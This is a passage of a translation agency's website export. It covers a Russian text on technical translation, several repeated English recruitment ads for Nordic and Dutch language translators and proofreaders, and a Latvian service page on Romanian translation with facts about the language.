переводчика, но и специальных знаний в областях, к которым относится техническая документация. В техническом переводе обычно задействованы не только письменные и устные переводчики с соответствующей специализацией, но также редакторы и терминологи, которые занимаются изучением и разработкой терминологии, консультируясь с представителями отрасли и академическими сотрудниками. Очень полезно, если у переводчиков и редакторов есть практический опыт работы в узкоспециализированной нише. Техническим переводчикам также необходимо уметь ориентироваться и работать с большим объемом дополнительных источников информации, таких как местные и международные технические стандарты. Поиск и проверка информации по надежным источникам – неотъемлемая часть работы технических переводчиков. Образование технического переводчика в Латвии можно получить на факультете технологий электронного обучения и гуманитарных наук Рижского технического университета, который предлагает программу обучения по специальности "Технический перевод". Технический перевод немыслим без соответствующих технологических решений. Это системы, предоставляемые клиентом, в частности, для решения специфических задач, или технологии, используемые бюро переводов. Более подробно мы описали их в разделах "Инструменты перевода" и "Нейронный машинный перевод". ЧТО ТАКОЕ ТЕХНИЧЕСКИЕ ТЕКСТЫ? Технический текст – это текст, содержащий специализированную информацию для конкретной целевой группы, необходимую для выполнения точных операций или передачи научно обоснованных данных. Поэтому технический текст имеет ясный, точный и последовательный характер, т. е. профессиональным языком объясняет и разъясняет читателю каждую мельчайшую деталь и операцию или предоставляет теоретические сведения о применении незнакомых читателю методов или инструментов. Язык технических текстов характеризуется широким использованием терминов, сокращений и чисел, а также краткостью, точностью и однозначностью изложения. Технические тексты нередко бывают описательными и наглядными, поскольку в них рассматриваются процессы, основанные на различных научных знаниях и фактах, или описываются особенности используемых инструментов или устройств. Техническая документация – это продукт технического письма, или набор документов о характеристиках, свойствах и применении разрабатываемого или уже используемого технического продукта. Технические тексты охватывают самые разные сферы жизни – от относительно простых инструкций к бытовым приборам до военных или инженерных проектов государственного значения. Многие думают, что техническая документация – это объёмные тексты, прочесть и понять которые под силу любому человеку без специального образования, но это миф и не соответствует действительности. Интересно, что в настоящее время техническая документация часто дополняется аудиовизуальными данными, такими как видео и звук, что значительно облегчает восприятие и применение информации, описанной в тексте. Текст технической документации должен быть официальным, деловым и максимально точным, последовательно использовать терминологию и точно излагать числовые факты, расчеты и измерения. ВИДЫ ПЕРЕВОДА ТЕХНИЧЕСКИХ ТЕКСТОВ Переводы технических проектов, спецификаций, сертификатов и инструкций. Переводы строительной документации. Переводы инструкций и каталогов для оборудования и приборов. Переводы инструкций по монтажу и эксплуатации. Переводы руководств по управлению и контролю. Переводы описаний специальных технологий в различных отраслях. Переводы производственных планов. Переводы технических презентаций. Переводы других отраслевых документов. ТЕХНИЧЕСКИЕ ПЕРЕВОДЫ Перевод технических текстов обычно противопоставляется переводу художественных и публицистических произведений, а также других творческих текстов, поскольку при работе с техническими текстами свободная интерпретация недопустима. Терминологически "технический перевод" означает передачу специализированной технической информации с одного языка на другой между людьми, говорящими на разных языках. Перевод технических текстов тесно связан с переводом научно-технических материалов, поскольку в них широко используется научно-техническая терминология. В техническом переводе задача переводчика – адаптировать тексты, относящиеся к узким, специфическим техническим областям, для аудитории носителей целевого языка. Учитывая быстрые темпы развития технологий, при переводе технических текстов переводчикам часто приходится работать с понятиями и терминами, для которых трудно найти эквивалент в языке перевода. Многие технические термины в латышский язык приходят из англоязычных технических текстов и приживаются в повседневном общении гораздо быстрее, чем терминологи и лингвисты успевают предложить подходящий эквивалент, что вызывает широкие общественные дискуссии о правильности словоупотребления и профессионализме переводчиков. Многие исследователи, лингвисты, письменные и устные переводчики, сравнивая технический перевод с переводом технических или научных текстов, признают, что провести различие между этими двумя видами перевода очень сложно, если вообще возможно. --- > Skrivanek Baltic is looking for skilled Dutch proofreaders. Join our team and work on diverse, exciting language projects! - Published: 2022-01-07 - Modified: 2025-07-16 - URL: https://skrivanek.lv/en/dutch-proofreader/ - Translation Priorities: Optional WE ARE LOOKING FOR DUTCH PROOFREADERS Increased demand for Dutch translations has made Skrivanek Baltic expand its team of Dutch proofreaders. IF YOU WONDER WHETHER YOU CAN BECOME A PROOFREADER FOR SKRIVANEK, THE ANSWER IS DEFINITELY YES! You can expect us to consider your application if you: are Dutch native speaker (e. g. you are graduated in philology or linguistics, or you have a certificate confirming your knowledge of Dutch at C2 level); have some experience working as a proofreader of Dutch. And you also: work in CAT tools (if not, don’t worry – we will teach you); know other foreign language or languages; are willing to learn. PROOFREADER OF DUTCH, WORKING FOR SKRIVANEK, CAN EXPECT TO: work in a team of professionals; have multiple opportunities for continuous learning and improving professional qualifications; decide on your remuneration – the more you do, the more you earn; proofread loads of interesting projects. Join us today! And get a chance to improve your skills by participating in many projects with one of the biggest translation agencies in Latvia and abroad. We have all the necessary tools and experience to help you proofread materials in many different formats for clients with varied requirements. We will be more than happy to welcome you to our team! Are you interested? Register at the Skrivanek Vendor Portal! NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). If we do not contact you within 7 days from your registration at Skrivanek Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. We will contact only selected applicants. --- > Skrivanek Baltic is looking for skilled Norwegian proofreaders. Join our team and work on diverse, exciting language projects! - Published: 2022-01-07 - Modified: 2025-07-16 - URL: https://skrivanek.lv/en/norwegian-proofreader/ - Translation Priorities: Optional WE ARE LOOKING FOR NORWEGIAN PROOFREADERS Increased demand for Norwegian translations has made Skrivanek Baltic expand its team of Norwegian proofreaders. IF YOU WONDER WHETHER YOU CAN BECOME A PROOFREADER FOR SKRIVANEK, THE ANSWER IS DEFINITELY YES! You can expect us to consider your application if you: are Norwegian native speaker (e. g. you are graduated in philology or linguistics, or you have a certificate confirming your knowledge of Norwegian at C2 level); have some experience working as a proofreader of Norwegian. And you also: work in CAT tools (if not, don’t worry – we will teach you); know other foreign language or languages; are willing to learn. PROOFREADER OF NORWEGIAN, WORKING FOR SKRIVANEK, CAN EXPECT TO: work in a team of professionals; have multiple opportunities for continuous learning and improving professional qualifications; decide on your remuneration – the more you do, the more you earn; proofread loads of interesting projects. Join us today! And get a chance to improve your skills by participating in many projects with one of the biggest translation agencies in Latvia and abroad. We have all the necessary tools and experience to help you proofread materials in many different formats for clients with varied requirements. We will be more than happy to welcome you to our team! Are you interested? Register at the Skrivanek Vendor Portal! NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). If we do not contact you within 7 days from your registration at Skrivanek Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. We will contact only selected applicants. --- > Skrivanek Baltic is looking for skilled Estonian proofreaders. Join our team and work on diverse language projects! - Published: 2022-01-07 - Modified: 2025-07-16 - URL: https://skrivanek.lv/en/estonian-proofreader/ - Translation Priorities: Optional WE ARE LOOKING FOR ESTONIAN PROOFREADERS Increased demand for Estonian translations has made Skrivanek Baltic expand its team of Estonian proofreaders. IF YOU WONDER WHETHER YOU CAN BECOME A PROOFREADER FOR SKRIVANEK, THE ANSWER IS DEFINITELY YES! You can expect us to consider your application if you: are Estonian native speaker (e. g. you are graduated in philology or linguistics, or you have a certificate confirming your knowledge of Estonian at C2 level); have some experience working as a proofreader of Estonian. And you also: work in CAT tools (if not, don’t worry – we will teach you); know other foreign language or languages; are willing to learn. PROOFREADER OF ESTONIAN, WORKING FOR SKRIVANEK, CAN EXPECT TO: work in a team of professionals; have multiple opportunities for continuous learning and improving professional qualifications; decide on your remuneration – the more you do, the more you earn; proofread loads of interesting projects. Join us today! And get a chance to improve your skills by participating in many projects with one of the biggest translation agencies in Latvia and abroad. We have all the necessary tools and experience to help you proofread materials in many different formats for clients with varied requirements. We will be more than happy to welcome you to our team! Are you interested? Register at the Skrivanek Vendor Portal! NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). If we do not contact you within 7 days from your registration at Skrivanek Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. We will contact only selected applicants. --- > Skrivanek Baltic is looking for skilled English–Dutch translation experts. Join our team and work on diverse translation projects! - Published: 2022-01-06 - Modified: 2025-07-16 - URL: https://skrivanek.lv/en/english-dutch-translator/ - Translation Priorities: Optional WE ARE LOOKING FOR ENGLISH-DUTCH TRANSLATORS Increased demand for English-Dutch translations has made Skrivanek Baltic expand its team of Dutch translators. We are looking not only for standard and certified translators, interpreters, but also specialists for comprehensive localisation of websites and mobile apps. IF YOU WONDER WHETHER YOU CAN BECOME A TRANSLATOR FOR SKRIVANEK? THE ANSWER IS DEFINITELY YES! You can expect us to consider your application if you: are fluent in Dutch (e. g. you have studied in the Netherlands or graduated in philology or linguistics, or you have a certificate confirming your knowledge of Dutch at C1 level at least); are skilled in the English language; have some experience working as a translator of Dutch. And you also: work in CAT tools (if not, don’t worry – we will teach you); know other foreign language or languages; are willing to learn. TRANSLATOR OF DUTCH, WORKING FOR SKRIVANEK, CAN EXPECT TO: work in a team of professionals; have multiple opportunities for continuous learning and improving professional qualifications; decide on your remuneration – the more you do, the more you earn; translate loads of interesting projects Join us today! And get a chance to improve your translation skills by participating in many projects with one of the biggest translation agencies in Latvia and abroad. We have all the necessary tools and experience to help you translate materials in many different formats for clients with varied requirements. We will be more than happy to welcome you to our team! Are you interested? Register at the Skrivanek Vendor Portal! NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). If we do not contact you within 7 days from your registration at Skrivanek Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. We will contact only selected applicants. --- > Skrivanek Baltic is looking for experienced English-Norwegian-English translators. Join our team and work on exciting translation projects! - Published: 2022-01-06 - Modified: 2025-07-16 - URL: https://skrivanek.lv/en/english-norwegian-english-translatiors/ - Translation Priorities: Optional WE ARE LOOKING FOR ENGLISH-NORWEGIAN-ENGLISH TRANSLATORS Increased demand for ENGLISH-NORWEGIAN-ENGLISH translations has made Skrivanek Baltic expand its team of Norwegian translators. We are looking not only for standard and certified translators, interpreters, but also specialists for comprehensive localisation of websites and mobile apps. IF YOU WONDER WHETHER YOU CAN BECOME A TRANSLATOR FOR SKRIVANEK? THE ANSWER IS DEFINITELY YES! You can expect us to consider your application if you: are fluent in Norwegian (e. g. you have studied in the Norway or graduated in philology or linguistics, or you have a certificate confirming your knowledge of Norwegian at C1 level at least); are skilled in the English language; have some experience working as a translator of Norwegian. And you also: work in CAT tools (if not, don’t worry – we will teach you); know other foreign language or languages; are willing to learn. TRANSLATOR OF NORWEGIAN, WORKING FOR SKRIVANEK, CAN EXPECT TO: work in a team of professionals; have multiple opportunities for continuous learning and improving professional qualifications; decide on your remuneration – the more you do, the more you earn; translate loads of interesting projects Join us today! And get a chance to improve your translation skills by participating in many projects with one of the biggest translation agencies in Latvia and abroad. We have all the necessary tools and experience to help you translate materials in many different formats for clients with varied requirements. We will be more than happy to welcome you to our team! Are you interested? Register at the Skrivanek Vendor Portal! NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). If we do not contact you within 7 days from your registration at Skrivanek Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. We will contact only selected applicants. --- - Published: 2022-01-06 - Modified: 2022-05-18 - URL: https://skrivanek.lv/en/english-danish-english-transllators/ - Translation Priorities: Optional WE ARE LOOKING FOR ENGLISH-DANISH-ENGLISH TRANSLATORS Increased demand for English-Danish-English translations has made Skrivanek Baltic expand its team of Danish translators. We are looking not only for standard and certified translators, interpreters, but also specialists for comprehensive localisation of websites and mobile apps. IF YOU WONDER WHETHER YOU CAN BECOME A TRANSLATOR FOR SKRIVANEK? THE ANSWER IS DEFINITELY YES! You can expect us to consider your application if you: are fluent in Danish (e. g. you have studied in the Denmark or graduated in philology or linguistics, or you have a certificate confirming your knowledge of Danish at C1 level at least); are skilled in the English language; have some experience working as a translator of Danish. And you also: work in CAT tools (if not, don’t worry – we will teach you); know other foreign language or languages; are willing to learn. TRANSLATOR OF DANISH, WORKING FOR SKRIVANEK, CAN EXPECT TO: work in a team of professionals; have multiple opportunities for continuous learning and improving professional qualifications; decide on your remuneration – the more you do, the more you earn; translate loads of interesting projects Join us today! And get a chance to improve your translation skills by participating in many projects with one of the biggest translation agencies in Latvia and abroad. We have all the necessary tools and experience to help you translate materials in many different formats for clients with varied requirements. We will be more than happy to welcome you to our team! Are you interested? Register at the Skrivanek Vendor Portal! NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). If we do not contact you within 7 days from your registration at Skrivanek Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. We will contact only selected applicants. --- > Skrivanek Baltic is looking for experienced English–Swedish–English translators. Join our team and work on exciting translation projects! - Published: 2022-01-06 - Modified: 2025-07-16 - URL: https://skrivanek.lv/en/english-swedish-english-translators/ - Translation Priorities: Optional WE ARE LOOKING FOR ENGLISH-SWEDISH-ENGLISH TRANSLATORS Increased demand for English-Swedish-English translations has made Skrivanek Baltic expand its team of Swedish translators. We are looking not only for standard and certified translators, interpreters, but also specialists for comprehensive localisation of websites and mobile apps. IF YOU WONDER WHETHER YOU CAN BECOME A TRANSLATOR FOR SKRIVANEK? THE ANSWER IS DEFINITELY YES! You can expect us to consider your application if you: are fluent in Swedish (e. g. you have studied in the Sweden or graduated in philology or linguistics, or you have a certificate confirming your knowledge of Swedish at C1 level at least); are skilled in the English language; have some experience working as a translator of Swedish. And you also: work in CAT tools (if not, don’t worry – we will teach you); know other foreign language or languages; are willing to learn. TRANSLATOR OF SWEDISH, WORKING FOR SKRIVANEK, CAN EXPECT TO: work in a team of professionals; have multiple opportunities for continuous learning and improving professional qualifications; decide on your remuneration – the more you do, the more you earn; translate loads of interesting projects Join us today! And get a chance to improve your translation skills by participating in many projects with one of the biggest translation agencies in Latvia and abroad. We have all the necessary tools and experience to help you translate materials in many different formats for clients with varied requirements. We will be more than happy to welcome you to our team! Are you interested? Register at the Skrivanek Vendor Portal! NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). If we do not contact you within 7 days from your registration at Skrivanek Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. We will contact only selected applicants. --- > We are looking not only for standard and certified translators, interpreters, but also specialists for comprehensive localisation. - Published: 2022-01-06 - Modified: 2024-10-29 - URL: https://skrivanek.lv/en/english-finnish-english-translators/ - Translation Priorities: Optional WE ARE LOOKING FOR ENGLISH-FINNISH-ENGLISH TRANSLATORS Increased demand for English-Finnish-English translations has made Skrivanek Baltic expand its team of Finnish translators. We are looking not only for standard and certified translators, interpreters, but also specialists for comprehensive localisation of websites and mobile apps. IF YOU WONDER WHETHER YOU CAN BECOME A TRANSLATOR FOR SKRIVANEK? THE ANSWER IS DEFINITELY YES! You can expect us to consider your application if you: are fluent in Finnish (e. g. you have studied in the Finland or graduated in philology or linguistics, or you have a certificate confirming your knowledge of Finnish at C1 level at least); are skilled in the English language; have some experience working as a translator of Finnish. And you also: work in CAT tools (if not, don’t worry – we will teach you); know other foreign language or languages; are willing to learn. TRANSLATOR OF FINNISH, WORKING FOR SKRIVANEK, CAN EXPECT TO: work in a team of professionals; have multiple opportunities for continuous learning and improving professional qualifications; decide on your remuneration – the more you do, the more you earn; translate loads of interesting projects Join us today! And get a chance to improve your translation skills by participating in many projects with one of the biggest translation agencies in Latvia and abroad. We have all the necessary tools and experience to help you translate materials in many different formats for clients with varied requirements. We will be more than happy to welcome you to our team! Are you interested? Register at the Skrivanek Vendor Portal! NOTE: Please remember to upload your CV and other documents that prove your qualifications and experience (such as diplomas, certificates, letters of recommendation, etc. ). If we do not contact you within 7 days from your registration at Skrivanek Vendor Portal, please be informed that we do not have a demand for the services you offer at the moment. We will contact only selected applicants. --- > Dažādu dokumentu un pasākumu tulkojumi rumāņu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs. Sazinieties ar mums! - Published: 2022-01-04 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-rumanu-valoda/ - Translation Priorities: Optional TULKOJUMI RUMĀŅU VALODĀ / TULKOT RUMĀŅU VALODĀ CIK MAKSĀ TULKOŠANA RUMĀŅU VALODĀ? Tulkošanas birojā Skrivanek katra tulkojuma cena no/uz rumāņu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz rumāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu birojā strādā profesionāli tulkošanas projektu vadītāji, kuri vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums vai nosūtiet tulkojamo tekstu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM RUMĀŅU VALODĀ: dažādu dokumentu tulkošana rumaņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; rumāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi rumāņu valodā; individuālie rumāņu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus rumāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI RUMĀŅU VALODĀ / TULKOT RUMĀŅU VALODĀ CIK MAKSĀ TULKOŠANA RUMĀŅU VALODĀ? Tulkošanas birojā Skrivanek katra tulkojuma cena no/uz rumāņu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz rumāņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu birojā strādā profesionāli tulkošanas projektu vadītāji, kuri vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums vai nosūtiet tulkojamo tekstu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM RUMĀŅU VALODĀ: dažādu dokumentu tulkošana rumaņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; rumāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi rumāņu valodā; individuālie rumāņu valodas kursi. Meklējiet valodu risinājumus rumāņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR RUMĀŅU VALODU Rumāņu valoda ir indoeiropiešu valoda, kas pieder pie romāņu valodu apakšgrupas balkānu-romāņu valodas. Tā ir piektā visizplatītākā romāņu valoda pēc spāņu, portugāļu, franču un itāļu valodas. Salīdzinošās valodniecības tipoloģisko atšķirību dēļ to sauc arī par dako-rumāņu valodu. Tai ir oficiāls statuss Rumānijā (kur tā ir dzimtā un galvenā runātā valoda lielākajai daļai iedzīvotāju) un Moldovas Republikā (saskaņā ar Konstitucionālās tiesas lēmumu). Tajā pašā laikā rumāņu valoda ir savdabīgākā romāņu valodu grupā, atklājot tā saukto jaukto (kontaktu) valodu iezīmes, kas izveidojušās vairāku lingvistisko apgabalu, jo īpaši Balkānu apgabalu ietekmē. Senās Romas impērijas laikā mūsdienu Moldovas un Rumānijas teritoriju sauca par Dacia Romana. Vairāk nekā trīs gadsimtus daku un romiešu valodas sadzīvoja blakus un ietekmēja viena otru. Šajā laika periodā notika vietējo iedzīvotāju romanizācija. Ir pilnīgi dabiski, ka tās rezultātā uz šī pamata izveidojās rumāņu valoda. Protams, ne bez kaimiņu slāvu valodas ietekmes. Rumāņu valoda attīstījās, pamatojoties uz tajā laikā izplatīto sarunvalodas latīņu valodu. Rakstiskas liecības par rumāņu valodu parādās tikai sākot ar 16. gadsimtu. Senākais saglabājies dokuments, uzrakstīts rumāņu valodā, ir Ņakšu vēstule (1521. g. ), uzrakstīta ar kirilicas burtiem. Kirilicas lietojums turpinājās (līdzās latīņu rakstam) līdz 1860. gadam, kad bija oficiāli ieviesta rumāņu latīņu ortogrāfija. Mūsdienu valodnieki ir nonākuši pie secinājuma, ka rumāņu un moldāvu valodas ir praktiski identiskas. Vienkārši rumāņu valodā ir mazliet vairāk vārdu aizguvumu no rietumu valstīm, un moldāvu valodā galvenie aizguvumi nāk no krievu valodas. Rumāņu valodas varianti atšķiras galvenokārt fonētiski. Paši rumāņi uzskata tos par akcentiem vai runas īpašībām. RUMĀŅU ALFABĒTS Oficiāli rumāņu latīņu valodas alfabēts Rumānijā tiek lietots kopš 1860. gada, kad tas aizstāja valahiešu-moldāvu kirilicu. Mūsdienu rumāņu alfabētā ir 31 burts, kas tiek izmantots, lai attēlotu 46 fonēmas (7 patskaņi, 4 puspatskaņi, 35 līdzskaņi). Pirmā rumāņu valodas gramatika tika publicēta Vīnē 1780. gadā. Kopumā rumāņu valodā pēc pārejas uz latīņu alfabētu tika veiktas pareizrakstības reformas 1904. , 1953. gadā un 1993. gadā, ar divām mazākām 1964. un 2005. gadā. CIK SAREŽĢĪTA IR RUMĀŅU VALODA? Rumāņu valoda tiek novērtēta kā viena no vienkāršāk apgūstamajām valodām. Tai ir daudz līdzību ar spāņu, itāļu un pat angļu valodu. Lai gan tajā ir gramatikas dīvainības, kas nav kopīgas citām latīņu valodām, to parasti ir daudz vieglāk apgūt nekā krievu, ķīniešu vai arābu valodu. Tīmeklī tagad ir daudz vairāk materiālu rumāņu valodā iesācējiem. Diemžēl šie materiāli vēl joprojām ir nepilnīgi, lai gan situācija lēnām uzlabojas. Tā kā rumāņu valoda ir ļoti skanīga, to ir viegli lasīt vai tajā runāt. Visi vārdi tiek izrunāti tieši tā, kā tiek rakstīti. KUR UN CIK DAUDZ RUNĀ RUMĀŅU VALODĀ? Rumāņu valoda ir dzimtā valoda aptuveni 24 miljoniem pasaules iedzīvotāju. Moldovā šī valoda oficiāli tiek saukta par moldāvu valodu. Rumāņu valodai ir valsts valodas statuss Rumānijā un Moldovā, kā arī tā ir viena no oficiālajām ES valsts valodām. Rumāņu valodā runā galvenokārt Rumānijā, Moldovā, Ungārijā, Serbijā un Ukrainā. Tāpat rumāņu valodā runājošie iedzīvotāji dzīvo Francijā, Itālijā, Spānijā Lielbritānijā, Austrijā, Beļģijā, Portugālē, Kiprā, Kanādā (īpaši Monreālas pilsētā), ASV ziemeļrietumos (īpaši Čikāgas pilsētā), Vācijā, Izraēlā, Austrālijā un Jaunzēlandē, kur rumāņu kopienas radās, pateicoties politiskajai darbībai, kad Rumānijas iedzīvotāji imigrēja no Bukarestes pirms un pēc Otrā pasaules kara. Pēc Čaušesku režīma krišanas radās jauns imigrācijas vilnis − galvenokārt, migranti no lauku apvidiem, īpaši pēc Rumānijas iestāšanās Eiropas Savienībā 2007. gadā, pamatā virzījās uz Itāliju, Spāniju, Portugāli, Kvebeku un Argentīnu. Kopējais rumāņu valodā runājošo skaits sasniedza maksimumu ap 1990. gadu. Kopš tā laika rumāņu valodā runājošo skaits ir samazinājies sakarā ar rumāņu un moldāvu lielo dabisko samazināšanos, viņu lielo emigrāciju uz ārzemēm un daļēju to cilvēku asimilāciju, kuri dzīvo ārpus Rumānijas un Moldovas. Mūsdienās Rumānijā dzīvo aptuveni 19 miljoni runātāju (75% no kopējā runātāju skaita), aptuveni 2,6 miljoni – Moldovā. Saskaņā ar 2002. gada tautas skaitīšanas datiem rumāņu valoda ir dzimtā valoda 90% Rumānijas iedzīvotāju. RUMĀŅU VALODAS TULKS UN TULKOTĀJS Mūsu tulku un tulkotāju komanda nodarbojas gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī rumāņu valodas tekstu korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Mūsu rumāņu valodas speciālisti var sniegt informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Tulkošanas birojs Skrivanek visbiežāk veic šādus tulkojumus no/uz rumāņu valodu – e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu, mārketinga un juridiskā satura tulkojumus. Pateicoties strauji augošai ekonomiskajai attīstībai starp Latviju un Rumāniju, veicam arī tulkojumus šādās jomās – iekārtas un tehnoloģijas, finanses, medicīna, komunikācijas, sabiedriskās attiecības, transports, datoru aparatūra un programmatūra, zinātne, lauksaimniecība, automobiļi, Eiropas Savienības dokumenti, rūpniecības, dabaszinātņu, mazumtirdzniecības, tehnoloģiju tulkojumi. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. RUMĀŅU VALODA BIZNESĀ Rumāņu valoda, kā biznesa valoda, pamatā tiek izmantota tikai Rumānijas un Moldovas teritorijā. Biznesa attiecību veidošanai ar Rumānijas uzņēmējiem, būtu vērtīgi zināt kaut nedaudzas frāzes rumāņu valodā. Biznesa kontaktu dibināšanai rumāņu uzņēmēji galvenokārt izmanto itāļu, vācu un angļu valodu. Galvenie sadarbības partneri ir ES dalībvalstis, uz kurām tiek eksportētas auto detaļas un graudaugu produkti. Galvenās Latvijas importa preces no Rumānijas ir pārtikas rūpniecības produkti (41,90%), mašīnas un mehānismi, elektriskās iekārtas (29,53%), ķīmiskās rūpniecības un tās saskarnozares produkcija (9,84%). RUMĀNIJAS UN LATVIJAS DIVPUSĒJĀS ATTIECĪBAS 2002. gada 5. jūlijā Rīgā tika atklāts Rumānijas goda konsulāts, kuru vada Rumānijas goda konsule Latvijā Ileana Adriana Rutmane. Konsulāta mērķis un misija ir stiprināt politikas, ekonomikas un kultūras saiknes starp Rumāniju un Latviju, sniegt palīdzību rumāņu pilsoņiem Latvijā, kā arī informēt tos Latvijas iedzīvotājus, kuri vēlas iepazīt, apmeklēt vai veidot biznesu Rumānijā. Latvijas Mākslas akadēmijai notiek sadarbība Mūžizglītības programmas Erasmus+ ietvaros ar divām Rumānijas universitātēm: Babes–Bolyai University Cluj – Napoca un Universitatea Nationala de Arte Bucuresti. Latvijas Kultūras akadēmijai sadarbība ar Rumāniju notiek Erasmus+ programmas ietvaros. Akadēmijai ir noslēgts viens programmas apmaiņas līgums ar Aleksandra Iona Cuza universitāti (Universitatea Alexandru Ioan Cuza). Tāpat notiek aktīva sadarbība rakstniecības jomā – Starptautiskā Rakstnieku un tulkotāju māja Ventspilī ir sadarbojusies ar Rumānijas rezidenci Port Četate, kas labprāt uzņem rezidentus no Latvijas. Rezidencē uzturējušies Liāna Langa un Pēteris Cedriņš. Jaunais Rīgas teātris 2017. gada jūnijā ar 